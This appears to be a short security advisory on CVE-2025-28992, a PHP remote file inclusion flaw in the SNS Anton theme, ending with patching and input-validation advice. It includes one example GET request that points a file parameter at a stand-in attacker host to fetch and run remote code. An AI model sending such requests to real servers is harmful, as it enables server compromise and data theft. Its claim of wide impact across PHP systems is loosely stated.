Overview
The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme’s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. This vulnerability is considered severe due to its potential to allow unauthorized remote access, which can lead to potential system compromise and data leakage.
Being a PHP-related vulnerability, it impacts a wide range of systems and applications that use PHP, a popular server-side scripting language. The seriousness of this vulnerability is underlined by its CVSS Severity Score of 8.1, indicating a high level of risk.

How the Exploit Works
The exploit works by taking advantage of the PHP program’s improper control of filename for include/require statement. An attacker can manipulate the filename that the PHP include/require statement is intended to use, resulting in the inclusion (execution) of a remote file hosted on an attacker-controlled system.
This file can contain malicious code designed to compromise the server, such as code to create a backdoor, extract sensitive data, or otherwise manipulate the system in a way that benefits the attacker. As the PHP program runs on the server side, the vulnerability could potentially lead to a full system compromise.
Conceptual Example Code
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.comIn this conceptual example, an attacker sends a GET request to the vulnerable index.php file, appending a parameter `file` with a value pointing to a malicious PHP file hosted on their own server (`attacker.com`). If the server is vulnerable, it will include and execute the malicious PHP file, running the attacker’s code on the server.
Recommendations
It is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against this exploit.
Additionally, it is generally good practice to avoid using user-supplied input directly in include/require statements in PHP without proper validation and sanitization. This can help prevent such vulnerabilities from arising in the first place.
